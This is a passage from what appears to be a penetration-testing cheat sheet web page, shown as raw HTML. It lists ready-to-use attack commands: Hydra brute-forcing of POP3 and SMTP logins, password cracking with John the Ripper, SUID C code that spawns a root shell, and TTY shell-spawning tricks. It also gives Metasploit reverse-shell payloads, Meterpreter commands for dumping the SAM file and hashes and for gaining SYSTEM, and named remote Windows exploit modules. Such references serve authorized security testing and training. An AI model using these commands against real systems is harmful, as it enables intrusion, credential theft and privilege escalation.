      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;
	&lt;p&gt;&lt;code&gt;hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f &lt;br /&gt;192.168.X.XXX pop3 -V&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Hydra POP3 brute force&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;hydra-smtp-brute-force&quot;&gt;Hydra SMTP Brute Force&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;
	&lt;p&gt;&lt;code&gt;hydra -P /usr/share/wordlistsnmap.lst 192.168.X.XXX smtp -V&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Hydra SMTP brute force&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;p&gt;Use &lt;code&gt;-t&lt;/code&gt; to limit concurrent connections, example: &lt;code&gt;-t 15&lt;/code&gt;&lt;/p&gt;

&lt;h2 id=&quot;password-cracking&quot;&gt;Password Cracking&lt;/h2&gt;

&lt;p&gt;Password cracking penetration testing tools.&lt;/p&gt;

&lt;h3 id=&quot;john-the-ripper---jtr&quot;&gt;John The Ripper - JTR&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;
             &lt;p&gt;&lt;code&gt;john --wordlist=/usr/share/wordlists/rockyou.txt hashes&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;JTR password cracking&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;
          &lt;p&gt;&lt;code&gt;john --format=descrypt --wordlist /usr/share/wordlists/rockyou.txt hash.txt&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;JTR forced descrypt cracking with wordlist&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;
          &lt;p&gt;&lt;code&gt;john --format=descrypt hash --show&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;JTR forced descrypt brute force cracking&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h2 id=&quot;windows-penetration-testing-commands&quot;&gt;Windows Penetration Testing Commands&lt;/h2&gt;

&lt;p&gt;See &lt;strong&gt;Windows Penetration Testing Commands&lt;/strong&gt;.&lt;/p&gt;

&lt;h2 id=&quot;linux-penetration-testing-commands&quot;&gt;Linux Penetration Testing Commands&lt;/h2&gt;

&lt;p&gt;See Linux Commands Cheat Sheet (right hand menu) for a list of Linux Penetration testing commands, useful for local system enumeration.&lt;/p&gt;

&lt;h2 id=&quot;compiling-exploits&quot;&gt;Compiling Exploits&lt;/h2&gt;

&lt;p&gt;Some notes on compiling exploits.&lt;/p&gt;

&lt;h3 id=&quot;identifying-if-c-code-is-for-windows-or-linux&quot;&gt;Identifying if C code is for Windows or Linux&lt;/h3&gt;

&lt;p&gt;C #includes will indicate which OS should be used to build the exploit.&lt;/p&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;process.h, string.h, winbase.h, windows.h, winsock2.h&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Windows exploit code&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;arpa/inet.h, fcntl.h, netdb.h, netinet/in.h, &lt;br /&gt; sys/sockt.h, sys/types.h, unistd.h&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Linux exploit code&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

  &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;build-exploit-gcc&quot;&gt;Build Exploit GCC&lt;/h3&gt;

&lt;p&gt;Compile exploit gcc.&lt;/p&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;gcc -o exploit exploit.c&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Basic GCC compile&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

  &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;gcc-compile-32bit-exploit-on-64bit-kali&quot;&gt;GCC Compile 32Bit Exploit on 64Bit Kali&lt;/h3&gt;

&lt;p&gt;Handy for cross compiling 32 bit binaries on 64 bit attacking machines.&lt;/p&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;gcc -m32 exploit.c -o exploit&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Cross compile 32 bit binary on 64 bit Linux&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;compile-windows-exe-on-linux&quot;&gt;Compile Windows .exe on Linux&lt;/h3&gt;

&lt;p&gt;Build / compile windows exploits on Linux, resulting in a .exe file.&lt;/p&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;i586-mingw32msvc-gcc exploit.c -lws2_32 -o exploit.exe&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Compile windows .exe on Linux&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

&lt;/table&gt;
&lt;/div&gt;

&lt;h2 id=&quot;suid-binary&quot;&gt;SUID Binary&lt;/h2&gt;

&lt;p&gt;Often SUID C binary files are required to spawn a shell as a superuser, you can update the UID / GID and shell as required.&lt;/p&gt;

&lt;p&gt;below are some quick copy and pate examples for various shells:&lt;/p&gt;

&lt;h3 id=&quot;suid-c-shell-for-binbash&quot;&gt;SUID C Shell for /bin/bash&lt;/h3&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;
       &lt;span class=&quot;n&quot;&gt;setresuid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
       &lt;span class=&quot;n&quot;&gt;system&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/bin/bash&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;       &lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;suid-c-shell-for-binsh&quot;&gt;SUID C Shell for /bin/sh&lt;/h3&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;
       &lt;span class=&quot;n&quot;&gt;setresuid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
       &lt;span class=&quot;n&quot;&gt;system&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/bin/sh&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;       &lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;building-the-suid-shell-binary&quot;&gt;Building the SUID Shell binary&lt;/h3&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;gcc &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; suid suid.c  &lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;For 32 bit:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;gcc &lt;span class=&quot;nt&quot;&gt;-m32&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; suid suid.c  &lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h2 id=&quot;reverse-shells&quot;&gt;Reverse Shells&lt;/h2&gt;

&lt;p&gt;See &lt;a href=&quot;https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet&quot;&gt;Reverse Shell Cheat Sheet&lt;/a&gt; for a list of useful Reverse Shells.&lt;/p&gt;

&lt;h2 id=&quot;tty-shells&quot;&gt;TTY Shells&lt;/h2&gt;

&lt;p&gt;Tips / Tricks to spawn a TTY shell from a limited shell in Linux, useful for running commands like &lt;code&gt;su&lt;/code&gt; from reverse shells.&lt;/p&gt;

&lt;h3 id=&quot;python-tty-shell-trick&quot;&gt;Python TTY Shell Trick&lt;/h3&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span class=&quot;n&quot;&gt;python&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;c&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;import pty;pty.spawn(&quot;/bin/bash&quot;)&apos;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;nb&quot;&gt;echo &lt;/span&gt;os.system&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;/bin/bash&apos;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;spawn-interactive-sh-shell&quot;&gt;Spawn Interactive sh shell&lt;/h3&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;/bin/sh &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;spawn-perl-tty-shell&quot;&gt;Spawn Perl TTY Shell&lt;/h3&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-perl&quot; data-lang=&quot;perl&quot;&gt;&lt;span class=&quot;nb&quot;&gt;exec&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/bin/sh&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&quot;;&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;perl&lt;/span&gt; &lt;span class=&quot;err&quot;&gt;—&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;e&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;exec &quot;/bin/sh&quot;;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&apos;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;spawn-ruby-tty-shell&quot;&gt;Spawn Ruby TTY Shell&lt;/h3&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-ruby&quot; data-lang=&quot;ruby&quot;&gt;&lt;span class=&quot;nb&quot;&gt;exec&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;/bin/sh&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;spawn-lua-tty-shell&quot;&gt;Spawn Lua TTY Shell&lt;/h3&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-lua&quot; data-lang=&quot;lua&quot;&gt;&lt;span class=&quot;nb&quot;&gt;os.execute&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;/bin/sh&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;spawn-tty-shell-from-vi&quot;&gt;Spawn TTY Shell from Vi&lt;/h3&gt;

&lt;p&gt;Run shell commands from vi:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;:!bash&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;spawn-tty-shell-nmap&quot;&gt;Spawn TTY Shell NMAP&lt;/h3&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;sh&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h2 id=&quot;metasploit-cheat-sheet&quot;&gt;Metasploit Cheat Sheet&lt;/h2&gt;

&lt;p&gt;A basic metasploit cheat sheet that I have found handy for reference.&lt;/p&gt;

&lt;p&gt;Basic Metasploit commands, useful for reference, for pivoting see - &lt;a href=&quot;/blog/ssh-meterpreter-pivoting-techniques/&quot;&gt;Meterpreter Pivoting&lt;/a&gt; techniques.&lt;/p&gt;

&lt;h3 id=&quot;meterpreter-payloads&quot;&gt;Meterpreter Payloads&lt;/h3&gt;

&lt;h3 id=&quot;windows-reverse-meterpreter-payload&quot;&gt;Windows reverse meterpreter payload&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;set payload windows/meterpreter/reverse_tcp&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Windows reverse tcp payload&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

  &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;windows-vnc-meterpreter-payload&quot;&gt;Windows VNC Meterpreter payload&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;set payload windows/vncinject/reverse_tcp&lt;/code&gt;&lt;/p&gt;
        &lt;p&gt;&lt;code&gt;set ViewOnly false&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Meterpreter Windows VNC Payload&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

  &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;linux-reverse-meterpreter-payload&quot;&gt;Linux Reverse Meterpreter payload&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;set payload linux/meterpreter/reverse_tcp&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Meterpreter Linux Reverse Payload&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

  &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h2 id=&quot;meterpreter-cheat-sheet&quot;&gt;Meterpreter Cheat Sheet&lt;/h2&gt;

&lt;p&gt;Useful meterpreter commands.&lt;/p&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;upload file c:\\windows&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Meterpreter upload file to Windows target&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;download c:\\windows\\repair\\sam /tmp&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Meterpreter download file from Windows target&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;download c:\\windows\\repair\\sam /tmp&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Meterpreter download file from Windows target&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;execute -f c:\\windows\temp\exploit.exe&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Meterpreter run .exe on target - handy for executing uploaded exploits&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;execute -f cmd -c &lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Creates new channel with cmd shell&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;ps&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
	    &lt;p&gt;Meterpreter show processes&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;shell&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
	    &lt;p&gt;Meterpreter get shell on the target&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;getsystem&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
	    &lt;p&gt;Meterpreter attempts priviledge escalation the target&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;    
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;hashdump&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
	    &lt;p&gt;Meterpreter attempts to dump the hashes on the target&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;portfwd add –l 3389 –p 3389 –r target&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
	    &lt;p&gt;Meterpreter create port forward to target machine&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;portfwd delete –l 3389 –p 3389 –r target&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
	    &lt;p&gt;Meterpreter delete port forward&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;


  &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h2 id=&quot;common-metasploit-modules&quot;&gt;Common Metasploit Modules&lt;/h2&gt;

&lt;p&gt;Top metasploit modules.&lt;/p&gt;

&lt;h3 id=&quot;remote-windows-metasploit-modules-exploits&quot;&gt;Remote Windows Metasploit Modules (exploits)&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;use exploit/windows/smb/ms08_067_netapi&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;MS08_067 Windows 2k, XP, 2003 Remote Exploit&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;use exploit/windows/dcerpc/ms06_040_netapi&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;MS08_040 Windows NT, 2k, XP, 2003 Remote Exploit&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;use exploit/windows/smb/&lt;br /&gt;ms09_050_smb2_negotiate_func_index&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;MS09_050 Windows Vista SP1/SP2 and Server 2008 (x86) Remote Exploit&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

  &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;local-windows-metasploit-modules-exploits&quot;&gt;Local Windows Metasploit Modules (exploits)&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;use exploit/windows/local/bypassuac&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Bypass UAC on Windows 7 + Set target + arch, x86/64&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;auxilary-metasploit-modules&quot;&gt;Auxilary Metasploit Modules&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;use auxiliary/scanner/http/dir_scanner&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Metasploit HTTP directory scanner&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;use auxiliary/scanner/http/jboss_vulnscan&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Metasploit JBOSS vulnerability scanner&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;use auxiliary/scanner/mssql/mssql_login&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Metasploit MSSQL Credential Scanner&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;use auxiliary/scanner/mysql/mysql_version&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Metasploit MSSQL Version Scanner&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;use auxiliary/scanner/oracle/oracle_login&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Metasploit Oracle Login Module&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;metasploit-powershell-modules&quot;&gt;Metasploit Powershell Modules&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;use exploit/multi/script/web_delivery&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Metasploit powershell payload delivery module&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;post/windows/manage/powershell/exec_powershell&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Metasploit upload and run powershell script through a session&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;
